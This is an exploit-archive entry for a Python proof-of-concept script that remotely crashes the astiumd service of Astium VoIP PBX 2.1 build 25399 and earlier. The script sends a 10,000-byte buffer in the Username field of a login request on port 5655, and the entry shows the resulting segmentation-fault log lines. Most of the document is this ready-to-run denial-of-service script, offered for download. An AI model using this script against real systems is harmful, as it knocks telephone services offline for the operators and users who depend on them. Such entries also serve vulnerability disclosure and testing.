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Astium VoIP PBX 2.1 Denial Of Service

Astium VoIP PBX 2.1 Denial Of Service
Posted Jan 2, 2013
Authored by xistence

Astium VoIP PBX versions 2.1 build 25399 and below remote crash proof of concept exploit that causes astiumd to crash when sent a large buffer.

tags | exploit, remote, denial of service, proof of concept
SHA-256 | e4acc58c36708f878375e2b46efebab2ae7b0ffc17d0d60f690a35ea16535fe7

Astium VoIP PBX 2.1 Denial Of Service

Change Mirror Download
#!/usr/bin/python
#+--------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title : Astium VoIP PBX <= v2.1 build 25399 Remote Crash PoC
# Date : 01-02-2012
# Author : xistence (xistence<[AT]>0x90.nl)
# Software link : http://www.oneip.nl/telefonie-oplossingen/ip-telefooncentrale/astium-downloaden-en-installeren/?lang=en
# Vendor site : http://www.oneip.nl/
# Version : v2.1 build 25399
# Tested on : CentOS 5.x 32-bit
#
# Vulnerability : The "astiumd" service on port 5655 crashes and restarts when sending a large buffer.
#
# Entries in /var/log/astiumd.log after executing script:
# Astiumd ended with exit status 139 <-- Segmentation Fault
# Automatically restarting Astiumd
#+--------------------------------------------------------------------------------------------------------------------------------+


import socket, sys

port = 5655
payload = "\x41"*10000

print ""
print "[*] Astium VoIP PBX <= v2.1 build 25399 Remote Crash PoC - xistence - xistence[at]0x90[.]nl - 2013-01-02"
print ""

if (len(sys.argv) != 2):
print "[*] Usage: " + sys.argv[0] + " <RHOST>"
print ""
exit(0)

rhost = sys.argv[1]

try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((rhost,port))
data = s.recv(1024)
print "[*] %s" %data
print "[*] Sending payload!"
s.send("Action: Login\r\n")
s.send("Username: " + payload + "\r\n")
s.send("Secret: hax0r\r\n")
s.send("\r\n")
s.close()
except:
print "Error!"

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